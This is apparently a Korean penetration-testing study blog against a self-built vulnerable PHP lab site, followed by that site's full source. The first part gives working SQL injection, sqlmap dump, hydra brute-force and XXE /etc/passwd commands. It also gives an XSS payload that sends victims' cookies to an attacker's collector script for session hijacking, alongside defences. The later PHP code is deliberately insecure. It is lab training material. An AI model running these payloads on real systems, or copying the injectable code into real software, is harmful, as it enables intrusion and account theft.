[SQL injection]

이 문장에 취약점을 이용해 로그인을 성공할 수 있다.

$id 안에 값을 

1' or '1' ='1로 변경하면 

위의 문장과 같이 무조건 참이 되므로 로그인이 된다.

(DB의 첫번째 계정으로 로그인이 된다.)

 

대처법

가장 큰 핵심은 입력값 검증이다.

 

/var/www/html/member/login_ok.php

1. replace 문법을 통해 '를 치환해주는 방법.

2.

php.ini에서 설정변경 가능

magic_quotes_gpc = On   으로 설정을 변경 후,

특수문자들을 이스케이프로 전환해주는 함수이다. 

magic_quotes_gpc 를 off로 하고 실행하고 싶으면

$id=addslashes($id);

$id=addslashes($pw); 로 적어주면 된다.

 

3. 

블랙리스트 기법

특수문자가 들어오면 바로 if문을 통해 멈추게 한다.

 

이런식으로 막힌것을 확인할 수 있다.

 

 

sqlmap 툴

/usr/share/sqlmap 위치에서 

./sqlmap.py  -u "게시판을 누른 url"

 

./sqlmap.py --flush-session  -u "http://192.168.3.115/center/view.php?num=13" --dbms "MySQL" --dbs

databases의 이름을 알아낸다.

 

./sqlmap.py --flush-session  -u "http://192.168.3.115/center/view.php?num=13" --dbms "MySQL" -D sample --tables

sample의 테이블을 볼 수 있다.

 ./sqlmap.py -u "http://192.168.22.18/center/view.php?num=8" --dbms "MySQL" -D sample -T member --columns

member 테이블의 columns를 확인할 수 있다.

./sqlmap.py --flush-session  -u "http://192.168.3.115/center/view.php?num=13" --dbms "MySQL" -D sample -T member --dump

 

툴 방지 역시, 이스케이프를 처리해주는 함수를 사용하면 방어할 수 있다.

 

 

 

 

 

 

[패스워드 크랙 대응]

임계값을 설정하여 임계값을 넘었을 시, 계정이 잠기도록 설정

 

1.atime , count ,flag값을 받기 위해 0,0,0을 추가

 

/var/www/html/member/member_ok.php

2.임계값을 10으로 설정하여 10번보다 넘게 접근 시, 잠기도록 설정.

/var/www/html/member/login_ok.php

$time -$atime <=1 현재시간 -  접속하는 시간 <= 1 즉, 1초안에 10번에 시도가 있을경우 잠김.

 

 

 

3. 패스워드 크랙 툴 사용.

hydra -l user01 192.168.3.115 http-post-form "/member/login_ok.php:id=^USER^&pw=^PASS^:history" -x 4:4:1 -V -f 

 

4. 확인

10번을 넘겼을 시 , 이렇게 계정이 잠기게 된다.
flag값이 1로 변한 것을 확인.

 

 

 

[XML(XXE)]

xml의 취약점을 이용해 패스워드 출력

 

/var/www/html/center/insert.php

xml의 데이터를 가져오는 문

 

테스트를위해 수정 부분만 변ㄱ

 

게시글 수정을 통해 아래 코드를 입력.

<!DOCTYPE  care[<!ENTITY data SYSTEM "file:///etc/passwd">]>
<result>&data;</result>

 

 

/etc/passwd의 목록을 출력하게 된다.

 

[XSS]

1. /var/www/html/getcookie.php 파일 생성

<?php
	$fp = fopen("data.txt", "ab");
	$text = "Cookie : ". $_GET['cookie'] . "\n";
	fwrite($fp, $text);
	fclose($fp);
?>

2. data.txt 파일 생성

 

touch data.txt

chmod 777 data.txt

 

3. url에 http://192.168.111.65/getcookie.php?cookie=asd 입력

 

4.data.txt에 값이 들어가져있는지 확인

 

5. 취약한 홈페이지에 들어가서 xss 게시글을 업로드.

 

<img name="i" width=0 height=0>
<script>i.src="http://192.168.3.125/getcookie.php?cookie="+document.cookie</script>

ip는 칼리리눅스이다.

이 게시글을 읽으면 그 아이디에 세션쿠키값을 가져오게 된다.

 

6.burp suite를 통해 세션 탈취

얻어온 세션쿠키값을 Match and replace에 추가

^Cookie.*$

Cookie:PHPSESSID=세션ID

공격대상자가 게시글을 읽게되면 자동으로 로그인이 된다.

 

[대응법]

특수문자를 필터링을 하여 변환해주는 방법이다.

 

/var/www/html/center/insert.php

$content = str_replace("<", "<", $content);
$content = str_replace(">", ">", $content);
$content = str_replace("&", "&", $content);

 

악성스크립트를 게시글에 올렸을 시, 필터링되어 아래와같이 뜬다.

[관리자 페이지 접근통제]

 

/var/www/html/admin.php

관리자만 접속가능하도록 접근통제 설정.

<?php 
include "dbconn.php";
session_start();
$sql = "select * from member";
$result = mysqli_query($conn, $sql);
$count = mysqli_num_rows($result);
/*관리자 접근 가능*/
$check = mysqli_fetch_array($result);
if($_SESSION['id'] != $check['id'])
{
echo "<script>location.href='/index.php';</script>";
exit;
}
/*관리자 접근 가능*/
?>

<html>
<body>

<table>
<tr>
<th>num</th>
<th>id</th>
<th>pw</th>
<th>name</th>
<th>mobile</th>
<th>email</th>
<th>nick</th>
<th>address</th>
<th>date</th>
<th>count</th>
<th>flag</th>
</tr>
<?php 
for($i = 0; $i < $count; $i++)
{
mysqli_data_seek($result, $i);
$row = mysqli_fetch_array($result);
?>
<tr>	
<td><?=$row['num']?></td>
<td><?=$row['id']?></td>
<td><?=$row['pw']?></td>
<td><?=$row['name']?></td>
<td><?=$row['mobile']?></td>
<td><?=$row['email']?></td>
<td><?=$row['nick']?></td>
<td><?=$row['address']?></td>
<td><?=$row['date']?></td>
<td><?=$row['count']?></td>
<td><?=$row['flag']?></td>
</tr>
<?php 
}
?>
</table>
</body>
</html>
<?php mysqli_close($conn);?>

 

 

 

 

[파일 및 디렉터리 접근]

 

 

디렉터리에 있는 내용들이 다 보인다.

또한 , 서버의 버전과 ip등이 출력이 된다.

 

1. 버전 정보 숨기기.

 

/etc/httpd/conf/httpd.conf 

 

ServerSignature 를 off로 변경.

 

버전 정보가 사라진 것을 확인.

2. 프록시를 통해 확인할 때 응답정보에 있는 버전 숨기기

ServerTokens 를 PROD로 변경.

apache버전이 안뜨는 것을 확인.

 

3.  디렉터리인덱싱이 안되도록 Indexes 삭제.

Options Indexes FollowSymLinks부분에서 Indexes부분 삭제

 

4. 디렉터리위치를 입력하거나, 없는 디렉터리를 입력했을 시 아래와 같이 뜨게 함.

/var/www/error/error.php 에 아래코드 추가

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>

 

/etc/httpd/conf/httpd.conf

 

5. 프록시에서 응답정보에 있는 php버전을 삭제.

/etc/php.ini에서 expose_php를 off로 변경.

 

php버전도 보이지 않는다.

 

'모의해킹' 카테고리의 다른 글

BOF  (0) 2019.07.04
취약한 홈페이지 구축  (0) 2019.06.18
apm구축  (0) 2019.06.18

1. 이클립스를 실행해 New -> php project를 통해 html이라는 프로젝트명으로 생성

finish로 저장

이제 여기서 코딩을 해 홈페이지를 구축할 것이다.

 

 

 

html의 기본 구성

 

<div> </div>  영역을 나눌 때 사용

<span> </span> 작은 영역을 나눌 때 사용

 

 

 

border: 1px solid; //범위볼 때 자주 쓴다.

 

부팅 시 자동으로 서비스를 켜줌.

chkconfig httpd on

chkconfig mysqld on 

 

1. 취약한 홈페이지 제작

 

/var/www/html

header.php

<?php session_start(); ?>
<html>
 <head>
	<link type="text/css" rel="stylesheet" href="/css/main.css">
	<link type="text/css" rel="stylesheet" href="/css/sub.css">
 </head>
 <body>
  <div id="wrap">
		<header>
		 <div id="login">
		 <?php 
		 	if($_SESSION['id'])
		 	{
		 	?>
		 	<a href="/member/logout.php">LogOut</a> 
		 	| <a href="/member/modify.php">Modify</a>
		 	<?php 
		 	}else{
		 	?>
		 	<a href="/member/login.php">Login</a> 
		 	| <a href="/member/member.php">Membership</a>
		 	<?php 
		 	}
		 	?>
		 </div>
		 <div id="logo">
		 	<h1><a href="/index.php">CARE LAB</a></h1>
		 </div>
		 <nav id="nav_main">
		 		<ul>
		 			<li><a href="/index.php">HOME</a></li>
		 			<li><a href="#">COMPANY</a></li>
		 			<li><a href="#">SOLUTIONS</a></li>
		 			<li><a href="/center/list.php">CUSTOMER CENTER</a></li>
		 		</ul>
		 </nav>
		</header>
		
		
		
		
		
		
		
		

footer.php

   <footer>
   	<hr>
   	<div id="copy">
   			서울특별시 강남구 역삼역 3번출구 바로 앞 빌딩 3층 코리아정보보안IT학원<br>
 			COPYRIGHT 2019 CARE_KYES. ALL RIGHTS RESERVED 010-6315-6980
   	</div>
   	<div id="social">
   		<img src="/images/facebook.gif">
   		<img src="/images/twitter.gif">
   	</div>
   </footer>				
  </div>
 </body>
</html>

dbconn.php

<?php
$conn = mysqli_connect("localhost", "root", "root", "sample") or die('연결안됨');
//$conn = mysqli_connect("localhost", "root", "root", "sample");
?>

index.php

<?php include "header.php"; ?>
		
		<div id="main_img">
			<img src="/images/main_img.jpg">
		</div>
		
   <article>
    <div id="security">
   		<div class="solution">
   			<h3>Security Solution</h3>
   			<p>
   						방대한 IT인프라, 폭발적인 데이터 증가, 
   						복잡한 컴플라이언스, 강화된 법 규제 등 IT환경은 점점 더 복잡해지고 있습니다.
   						 그리고 이와 더불어 해킹공격의 자동화, 보안 위협의 지능화, 무차별적 공격, 
   						사이버 전쟁의 위험 증가 등 사이버 공격은 날로 진화하고 있습니다.
   			</p>
   		</div>
   			<div class="control">
   			 <h3>Security Control</h3>
   			 <p>
   			 			보안관리서비스는 고객사의 정보보호 솔루션을 보안관제센터에서 
   			 			원격으로 운영, 관제하여 이상 상 황 발생시 실시간으로 대응하는 서비스로 
   			 			이러한 사고를 미연에 방지할 수 있도록 각종 정보를 제공하고,
   			 			 사전 점검하는 서비스를 말합니다.
   			</div>
   			<div class="consulting">
   			<h3>Security Consulting</h3>
   				<p>
   						Bug Hunting Team and Security Consulting Team 
   						both specialize in Red Teaming Exercise. 
   						They have global references in conducting various 
   						Red Teaming Exercise on various scopes ranging from 
   						website/application to financial sectors. 
   				</p>
   			</div>
   	</div>
   </article>
   
<?php include "footer.php"; ?>






 

 

/var/www/html/member

delete.php

<?php 
include "../header.php";
if(!$_SESSION['id']){
	echo "<script>alert('로그인 후 이용하세요'); location.href='/member/login.php';</script>";
			exit;
}
?>
<div id="img_mem"></div>
<script>
function check()
{
if(document.form_mem.pw.value == "")
{
	alert('패스워드를 입력주세요.');
	document.form_mem.pw.focus();
	return ;
}
if(document.form_mem.repw.value == "")
{
	alert('패스워드 한번 더 입력해주세요..');
	document.form_mem.pw.focus();
	return ;
}
if(document.form_mem.pw.value != document.form_mem.repw.value)
{
	alert('다시 입력해임마.');
	document.form_mem.pw.focus();
	return ;
}
if(confirm('정말 탈퇴할꺼야?'))
{
	document.form_mem.action="/member/member_delete.php"
	document.form_mem.submit();	
}
}
</script>
<nav id="nav_sub">
	<ul>
		<li><a href="/member/member.php">회원가입</a></li>
		<li><a href="/member/modify.php">회원수정</a></li>
		<li><a href="/member/delete.php">회원탈퇴</a></li>
		<li><a href="/member/login.php">로그인</a></li>
	</ul>
</nav>
<article id="main_mem">
	<h1>회원 탈퇴</h1>
	<form name ="form_mem" method="post" >
	<fieldset>
	<legend>	패스워드 확인</legend>
	
		<label>아이디:</label> 
		<?=$_SESSION['id']?>	
		<div class="clear"></div>
		
		<label>패스워드:</label>
		<input type="password" name="pw" class="pw">	
		<div class="clear"></div>
		<label>패스워드 확인:</label>
		<input type="password" name="repw">	
		<div class="clear"></div>
		
		
  </fieldset>
  	<div id="buttons">
		 <input type="button" value="탈퇴" class="mem_submit" 
		 onclick="check();">
		 <input type="button" value="취소" 
		 onclick="javascript:history.go(-1)';" class="mem_button">	
		 
		</div>
		</form>
		</article>
<div class="clear"></div>
<?php include "../footer.php"?>

login.php

<?php include "../header.php";?>
<div id="img_mem"></div>

<nav id="nav_sub">
	<ul>
		<li><a href="/member/member.php">회원가입</a></li>
		<li><a href="/member/modify.php">회원수정</a></li>
		<li><a href="/member/delete.php">회원탈퇴</a></li>
		<li><a href="/member/login.php">로그인</a></li>
	</ul>
</nav>

<article id="main_login">
	<h1>CARE LAB</h1>
	<form action="login_ok.php" method="post">
		<fieldset>
		<label>아이디</label>
		<input type="text" class="id" name="id">
		<div class="clear"></div>
		<label>패스워드</label>
		<input type="password" class="pw" name="pw">
		</fieldset>
		
		
		<input type="submit" value="제출" class="login_submit">
	</form>
	
</article>
<div class="clear"></div>
<?php include "../footer.php";?>

login_ok.php

<?php
	session_start();
	$id = $_POST['id'];
	$pw = $_POST['pw'];
	
	
	include "../dbconn.php";
	$sql = "select * from member where id='$id' and pw='$pw'";
	$result = mysqli_query($conn, $sql);
	$num = mysqli_num_rows($result);
	
	if(! $num)
	{
		echo "<script>alert('아이디 또는 패스워드를 확인하세요.');
						history.go(-1);</script>";
		exit;
	}else{
		$row = mysqli_fetch_array($result);
		$_SESSION['id'] = $row['id'];
		$_SESSION['name'] = $row['name'];
		$_SESSION['mobile'] = $row['mobile'];
		$_SESSION['nick'] = $row['nick'];
		$_SESSION['address'] = $row['address'];
		$_SESSION['email'] = $row['email'];
	}
	mysqli_close($conn);
?>
<script>
	alert('로그인 성공');
	location.href='/index.php';
</script>








logout.php

<?php
	session_start();
	session_destroy();
?>
<script>
	alert('로그아웃');
	location.href='/index.php';
</script>

member.php

<?php include "../header.php"?>
<script>
	function check()
	{
		if(document.form_mem.id.value == "")
		{
			alert('아이디를 입력해주세요.');
			document.form_mem.id.focus();
			return ;
		}
		document.form_mem.action="/member/member_ok.php";
		document.form_mem.submit();
	}
</script>
<div id="img_mem"></div>

<nav id="nav_sub">
	<ul>
		<li><a href="/member/member.php">회원가입</a></li>
		<li><a href="/member/modify.php">회원수정</a></li>
		<li><a href="/member/delete.php">회원탈퇴</a></li>
		<li><a href="/member/login.php">로그인</a></li>
	</ul>
</nav>

<article id="main_mem">
	<h1>회원 가입</h1>
	<form method="post" name="form_mem">
	
	<fieldset>
	<legend>	Basic Info</legend>
	
		<label>User ID</label> <input type="text" name="id" class="id">	
		<div class="clear"></div>
		<label>Password</label><input type="password" name="pw" class="pw">	
		<div class="clear"></div>
		<label>Retype Password</label><input type="password" name="repw">	
		<div class="clear"></div>
		<label>Name</label> <input type="text" name="name">		
		<div class="clear"></div>
		<label>Mobile</label> <input type="text" name="mobile">
  </fieldset>
  
  <fieldset>
  	<legend>Optional Info</legend>
  	<label>E-Mail</label> <input type="text" name="email">
  	<div class="clear"></div>
  	<label>Address</label> <input type="text" name="address" class="address">	
  	<div class="clear"></div>
  	<label>NickName</label> <input type="text" name="nick">
  
  </fieldset>
  	<div id="buttons">
		 <input type="button" value="취소" 
		 onclick="javascript:location.href='/index.php';" class="mem_button">	
		 <input type="button" value="가입" class="mem_submit" 
		 onclick="check();">
		</div>
	</form>
</article>
<div class="clear"></div>
<?php include "../footer.php"?>












member_delete.php

<?php
session_start();
if(! $_SESSION['id'])
{
	echo "<script>alert('로그인 후 이용하세요.')
						location.href='/member/login.php';
						</script>";
	exit;
}
$id = $_SESSION['id'];
$pw = $_POST['pw'];
$repw = $_POST['repw'];

include "../dbconn.php";
$sql= "select  pw from member where id='$id'";
$result = mysqli_query($conn, $sql); 
$num =  mysqli_fetch_array($result);


if($num['pw'] != $pw){
	echo "<script> alert('비밀번호가 일치하지 않습니다.');history.go(-1);</script>";
}
else{
$del= "delete from member where id='$id'";
mysqli_query($conn, $del);
mysqli_close($conn);

}
echo "<script>location.href='/member/logout.php';</script>";

?>

member_modify.php

<?php 
/*
	
*/
	session_start();
	if(! $_SESSION['id'])
	{
		echo "<script>alert('로그인 후 이용하세요.')
						location.href='/member/login.php';
						</script>";
		exit;
	}
	
	$id = $_SESSION['id'];
	$pw = $_POST['pw'];
	$name = $_POST['name'];
	$mobile = $_POST['mobile'];
	$address = $_POST['address'];
	$email = $_POST['email'];
	$nick = $_POST['nick'];
	

	if( !($pw and $name and $mobile and $address and $email and $nick))
	{
		echo "<script>alert('데이터를 입력하세요');
						history.go(-1);
						</script>";
		exit;
	}

	
	include "../dbconn.php";
	$sql = "update member set pw='$pw', name='$name', email='$email', nick='$nick',
	address='$address',mobile='$mobile' where id='$id'";
	
	
	mysqli_query($conn, $sql);
	

	mysqli_close($conn);
?>
	
<script>
alert('회원정보 수정 완료');
location.href='/member/logout.php';
</script>
	
	
	

member_ok.php

<?php
	include "../dbconn.php";
	
	$id = $_POST['id'];
	$pw = $_POST['pw'];
	$name = $_POST['name'];
	$mobile = $_POST['mobile'];
	$address = $_POST['address'];
	$email = $_POST['email'];
	$nick = $_POST['nick'];
	$date = date('Y-m-d');
	
	//회원 아이디 중복 확인.
	$sql = "select * from member where id='$id'";
	$result = mysqli_query($conn, $sql);
	
	$num = mysqli_num_rows($result);
	if($num)
	{
		echo "<script>alert('아이디가 사용 중입니다.'); 
						history.go(-1);</script>";
		exit;
	}else{
		$sql = "insert into member values
		('','$id','$pw','$name','$mobile','$email','$nick','$address',
		'$date')";
		mysqli_query($conn, $sql);
	}
	mysqli_close($conn);
?>
<script>
	alert('회원가입 완료');
	location.href='/index.php';
</script>




modify.php

<?php include "../header.php"?>
<script>
	function check()
	{
		if(document.form_mem.id.value == "")
		{
			alert('아이디를 입력주세요.');
			document.form_mem.id.focus();
			return ;
		}
		if(document.form_mem.pw.value == "")
		{
			alert('패스워드를 입력주세요.');
			document.form_mem.pw.focus();
			return ;
		}
		document.form_mem.action="/member/member_modify.php";
		document.form_mem.submit();
	}
</script>
<div id="img_mem"></div>

<nav id="nav_sub">
	<ul>
		<li><a href="/member/member.php">회원가입</a></li>
		<li><a href="/member/modify.php">회원수정</a></li>
		<li><a href="/member/delete.php">회원탈퇴</a></li>
		<li><a href="/member/login.php">로그인</a></li>
	</ul>
</nav>

<article id="main_mem">
	<h1>회원 수정</h1>
	<form method="post" name="form_mem">
	
	<fieldset>
	<legend>	Basic Info</legend>
	
		<label>User ID</label> 
		<?=$_SESSION['id']?>	
		<div class="clear"></div>
		
		<label>Password</label>
		<input type="password" name="pw" class="pw">	
		<div class="clear"></div>
		<label>Retype Password</label>
		<input type="password" name="repw">	
		<div class="clear"></div>
		
		<label>Name</label> 
		<input type="text" name="name" value=<?=$_SESSION['name']?>>		
		<div class="clear"></div>
		
		<label>Mobile</label> 
		<input type="text" name="mobile" value=<?=$_SESSION['mobile']?>>
  </fieldset>
  
  <fieldset>
  	<legend>Optional Info</legend>
  	<label>E-Mail</label> 
  	<input type="text" name="email" value=<?=$_SESSION['email']?>>
  	<div class="clear"></div>
  	
  	<label>Address</label> 
  	<input type="text" name="address" value=<?=$_SESSION['address']?>>	
  	<div class="clear"></div>
  	<label>NickName</label> 
  	<input type="text" name="nick" value=<?=$_SESSION['nick']?>>
  
  </fieldset>
  	<div id="buttons">
		 <input type="button" value="취소" 
		 onclick="javascript:location.href='/index.php';" class="mem_button">	
		 <input type="button" value="가입" class="mem_submit" 
		 onclick="check();">
		</div>
	</form>
</article>
<div class="clear"></div>
<?php include "../footer.php"?>












DB 테이블

create table member(  
num int unsigned not null auto_increment,  
id varchar(50) not null,  
pw varchar(50) not null,  
name varchar(50) not null, 
mobile varchar(20) not null,  
email varchar(50),  
nick varchar(50),  
address varchar(100),  
date varchar(30),  
primary key(num, id)  
);

 

 

css

main.css

body 	{	margin: 0; padding: 0; background-color: #898989; }
#wrap 
{
	width: 1000px;
	height: 950px;
	background-image: url(/images/shadow.png);
	background-repeat: repeat-y;
	margin-left: auto;
	margin-right: auto;
 }
#login { float: right; margin-right: 50px; margin-top: 10px;}
a { text-decoration: none;}
#login a {color: #333;}
#login a:hover {color: #f90;}
#logo {float: left; margin-top: 50px; margin-left: 50px;}
#logo a { color: #f90; }
#logo a:hover { color: #333; }
#nav_main
{
	width: 650px; 
	float: right; 
	margin-top: 70px;
	margin-right: 50px;  
}
#nav_main ul {list-style: none; font-size: 20px;}
#nav_main ul li { float:left; margin: 0 15px;}
#nav_main ul li a { color: #333;}
#nav_main ul li a:hover 
{
	background-image: url(/images/blue.gif);
	background-repeat: repeat-x;
	background-position: bottom;
 }
header{height: 200px;}
#security 
 {
 width:930px;
 height: 280px;
 margin-left: 20px;
 margin-top: 10px;
 background: #EAEAEA;
 padding-top: 20px;
 }
.solution, .control, .consulting
 {
 	width: 30%;
 	float: left;
 	margin-left: 25px;
 	background-repeat: no-repeat;
	background-position: left top;
 }
 .consulting	 { background-image: url(/images/icon1.png); }
 .solution{ background-image: url(/images/icon2.png); }
 .control{ background-image: url(/images/icon3.png);}	 
 .solution h3, .control h3, .consulting h3
 {
 	margin-left: 90px;
 }
.solution p, .control p, .consulting p
 {
 	margin-top: 40px;
 	margin-left: 15px;
 }
footer
 {
 width: 950px;
 	margin-left: 10px;
 	margin-top: 40px;
 }
#copy,  #social
 {
 margin-left: 50px;
 margin-top: 20px;
 float: left;
 }
#social { margin-left: 140px;}

 

sub.css

/* member.php */

#img_mem
{
	background-image: url(/images/member/sub_back.png);
	background-repeat: no-repeat;
	width: 970px;
	height: 180px;
}
#nav_sub {	width: 200px; 	margin-left: 10px; float: left;}
#nav_sub ul {list-style: none; font-size: 20px;}
#nav_sub ul a
{ 
color: #333; 
height: 30px; 
display: block;
width: 150px;
background-image: url(/images/bullet.gif);
background-repeat: no-repeat;
background-position: right;
border-bottom-width: 1px;
border-bottom-style: dotted;
padding: 5px;
}
#nav_sub ul a:hover
{ 
	color: #f90; 
	background-image: url(/images/bullet_orange.gif);
	background-repeat: no-repeat;
	background-position: right;
}
.clear{clear: both;}
#main_mem
{
	float: left;
	width: 650px;
	height: 450px;
	margin-left: 50px;
}
#main_mem fieldset legend 
{ 	
	font-size: 20px; 
}
#main_mem fieldset label { float: left; width :150px; padding: 5px;}
#main_mem fieldset input
{ 
	width: 250px; 
	height: 25px;
	background-color: #fcfdea;
}
#buttons
{
	width: 600px;
	height: 50px;
}
.mem_button, .mem_submit
{
	width: 31%;
	height: 40px;
	font-size: 20px;
	color: #fff;
	margin-top: 10px;
	margin-left: 20px;
	border-radius : 5px;
}
.mem_button { background-image: url(/images/member/cancel_back.jpg);}
.mem_submit { background-image: url(/images/member/submit_back.jpg);}
#main_mem fieldset { border: none;}
#main_mem fieldset input.id { width: 150px;}


/* login.php */
#main_login
{	
	width: 450px;
	height: 400px;
	float: left;
	margin-left: 120px;
}
#main_login h1
{
	font-size: 40px;
	color: #f90;
	text-align: center;
	margin-left: 50px;
}
#main_login fieldset
{
	border: none;
	margin-left: 50px;
}
#main_login fieldset label
{	
	float: left;
	width: 100px;
	margin: 5px;
	font-size: 20px;
}
#main_login fieldset input
{
	margin: 5px;
	background-color: #fcfdea;
	border: 1px solid;
	height: 30px;
	width: 200px;
}
.login_submit
{
	background-image: url(/images/member/submit_back.jpg);
	border-radius: 10px;
	height: 50px;
	color: #fff;
	font-size: 20px;
	width: 200px;
	margin-left: 176px;
	margin-top: 20px;
}

/* list.php */
#img_cen
{
	background-image : url(/images/center/sub_back.png);
	background-repeat : no-peat;
	width: 970px;
	height: 180px;
}
#main_cen
{
	width: 650px;
	float: left;
	margin-left: 50px;
}
#main_cen h1 { font-size: 30px;}
#main_cen table { width: 640px;} 
#main_cen table th
{
	background-image: url(/images/center/t_back.jpg);
	background-repeat: repeat-x;
	background-position : center;
	font-size: 20px;
	color: #fff;
	padding: 5px;
}
.title {width: 300px;}
#main_cen table td
{
	text-align: center;
	border-bottom: 1px dotted;
	padding: 5px;
}
#main_cen .subject a { color: #333; }
#main_cen .subject a:hover { color: #f90; }

#list_form {float: right; margin-top: 10px; margin-right: 10px;}
#list_form select, #list_form input { height: 25px; }

#page_control { text-align: center; }
#page_control a { color: #333; }
#page_control a:hover { color: #f90; }

#button { text-align: right; margin-right: 15px;}


/*view.php */
#view_title
 {
 	width: 100%;
 	height: 40px;
 	background-color: #eee;
 	border: 1px solid #ccc;
 	line-height: 40px;
 	font-size: 18px;
 	font-weight: bold;
 }
 .view_title1
{
	float: left;
	width: 55%;
	text-align: center;
}
 .view_title2
{
	float: left;
	width: 43%;
	text-align: right;
}
#view_content
{
	width: 100%;
	height: 300px;
	border: 1px solid #ccc;
}
#view_file
{
	font-weight: bold;
	color: #333;
	margin-top: 5px;
}

/*write.php*/

#main_cen .col1
{
	float : left;
	width : 30%;
	text-align : center;
	background-color : #eee;
	height : 25px;
}
#main_cen .col2
{
	float: left;
	width: 66%;
	height : 25px;
}
#write_row1 .col2 { text-align : left; }
#write_row3 .col1 { height : 200px; }
#write_row3 .col2 { border: none; }
#write_row3 textarea {	height : 200px;	width: 100%; }
#main_cen .col2 input
{
	border : 1px solid #999;
	width : 100%;
	height : 25px;
}
#main_cen .line { 	border-bottom : 1px solid #ccc; 	width: 97%; }

 







 

/var/www/html/center

 

delete.php

<?php
include "../dbconn.php";
include "../header.php";
if(!$_SESSION['id']){
	echo "<script>alert('로그인 후 이용하세요'); location.href='/member/login.php';</script>";
	exit;
}
$num = $_GET['num'];



$sql = "select * from center where num = '$num'";
$result= mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
$filename =$row['filename'];

$delete = "delete from center where num = '$num'";
mysqli_query($conn, $delete);
mysqli_close($conn);

if($filename){
unlink("../data/". $filename);
}
echo "<script> alert('게시글 삭제완료.'); location.href='/center/list.php';</script>";






?>

 

download.php

<?php

$filename = $_GET['filename'];
header("content-disposition: attachment; filename=$filename");

$fp = fopen("../data/".$filename, "r");
fpassthru($fp);
fclose($fp);
?>

 

 

insert.php

<?php
session_start();
if(!$_SESSION['id']){
	echo "<script>alert('로그인 후 이용하세요'); location.href='/member/login.php';</script>";
	exit;
}
$mode=$_GET['mode'];
$num=$_GET['num'];
$subject = $_POST['subject'];
$content = $_POST['content'];
$id = $_SESSION['id'];
$nick = $_SESSION['nick'];
$date = date('Y-m-d');
$filename=$_FILES['upfile']['name'];  //실제 파일 이름
$tmp = $_FILES['upfile']['tmp_name']; //임시 파일 이름


if(!($content && $subject) )
{
	echo " <script>alert('데이터를 입력해 주세요.'); history.go(-1)</script>";
    exit;

}
include"../dbconn.php";

if($mode=='modfiy')
{
//수정
if($filename)
{
$sql ="update center set content='$content',subject='$subject',
filename='$filename' where num='$num'";
}else {
	$sql="update center set content='$content',subject='$subject' where num='$num'";
}
}else{
	//작성
	$sql ="insert into center values('','$id','$nick','$subject','$content','$date',0,'$filename')";
	
}
	mysqli_query($conn, $sql);
	mysqli_close($conn);
	
	if(is_uploaded_file($tmp))  //tmp에 있는 경로로 가서 파일이 있으면 true 없으면 false 을 반환한다.
	{
		$destination='../data/' . $filename;  //../data/a.txt 
		move_uploaded_file($tmp, $destination);
		
	}
?>
<script>alert('완료');location.href='/center/list.php'</script>

 

list.php

<?php include "../header.php";
$data = $_POST['data'];
$find = $_POST['find'];
$mode = $_GET['mode'];
$page = $_GET['page'];

if(!$page)
{
	$page=1; 
}

if($mode == "search"){
	if($data=="")
	{
		echo "<script>alert('데이터를 입력 후 이용해라.');location.href='list.php';</script>";
	}
	
	$sql = "select * from center where $find like '%$data%' order by num desc";
	
}
else{
	$sql = "select * from center order by num desc";
}

include "../dbconn.php";
$result = mysqli_query($conn, $sql);
$record = mysqli_num_rows($result);
$scroll = 3;
if($record % $scroll == 0)
{
$pageCnt = $record / $scroll;
}else {
	$pageCnt = ceil($record / $scroll);  //ceil() 올림 해주는 함수 
}
$start = ($page-1) * $scroll; //for문의 초기값
$number = $record - $start; //게시글의 번호

?>
<div id="img_cen"></div>
<nav id="nav_sub">
		<ul>
			<li><a href="list.php">게시글 목록</a></li>
			<li><a href="write.php">게시글 작성</a></li>
			<li><a href="delete.php">게시글 삭제</a></li>
			<li><a href="write.php?mode=modfiy">게시글 수정</a></li>   <!--  mode=modfiy 이문장을 통해 게시글 작성과 구별을 둔다. -->
		</ul>
	</nav>
	
	<article id="main_cen">
		<h1>게시글 목록</h1>
		<table>
		 <tr>
		 	<th class="no">번호</th>
		 	<th class="title">제목</th>
		 	<th class="writer">작성자</th>
		 	<th class="date">날짜</th>
		 	<th class="hit">조회수</th>
		 </tr>
		 <?php 
		 for($i = $start; $i < $scroll+$start &&  $i< $record; $i++)
		 {
		 mysqli_data_seek($result, $i);   //데이터의 값을 이동시켜줌.
		 $row= mysqli_fetch_array($result);
		 $subject = $row['subject'];
		 $nick = $row['nick'];
		 $date = $row['date'];
		 $hit = $row['hit'];
		 $num = $row['num'];
		 
		 ?>
		
		 <tr>
		 	<td><?=$number ?></td>
			<td class="subject">	<a href="view.php?num=<?=$num?>&page=<?=$page ?>"><?= $subject ?></a>	</td>
		 	<td><?=$nick ?></td>
		 	<td><?=$date ?></td>
		 	<td><?=$hit ?></td>
		 </tr>
		 <?php 
		 $number--;
		 }
		 ?>
		</table>
		<form action="list.php?mode=search" method="post" id="list_form">
			<select name="find">
				<option value="subject">제목</option>
				<option value="content">내용</option>
				<option value="nick">작성자</option>
			</select>
			<input type="text" name="data">
			<input type="submit" value="검색">
		</form>
		
		<div class="clear"></div>
		
		<div id="page_control">
		<?php 
		if($page <= 1)
		{
		
		
			echo "<a href= 'list.php?page=1'>Prev</a>";
			
		}else 
		{
			$page --;
			echo "	<a href='list.php?page=$page'>Prev</a>";
			$page++;
		}
	
		
			for($i=1; $i <=$pageCnt;$i++)
			echo "	<a href='list.php?page=$i'>$i</a>";
			
			
	if($page >=$pageCnt)
			echo "<a href='list.php?page=$pageCnt'>Next</a>";
	else{
		$page++;
		echo "<a href='list.php?page=$pageCnt'>Next</a>";
		$page--;
	}
			?>
		</div>
		<div id="button">
			<a href="write.php"> <img src="/images/write.png"> </a>
		</div>
	</article>
	<div class="clear"></div>
<?php include "../footer.php";
mysqli_close($conn);
?>


 

view.php

<?php 
include "../header.php";
include "../dbconn.php";

$num = $_GET['num'];
$page = $_GET['page'];

$sql = "select * from center where num='$num'";
$result= mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
$content = $row['content'];
$subject = $row['subject'];
$date = $row['date'];
$hit = $row['hit'];
$filename =$row['filename'];
$nick=$row['nick'];
$hit++ ;
$sql= "update center set hit='$hit' where num = '$num'";
mysqli_query($conn, $sql);
mysqli_close($conn);
?>

<div id="img_cen"></div>
<nav id="nav_sub">
		<ul>
			<li><a href="list.php?page=<?=$page?>">게시글 목록</a></li>
			<li><a href="write.php">게시글 작성</a></li>
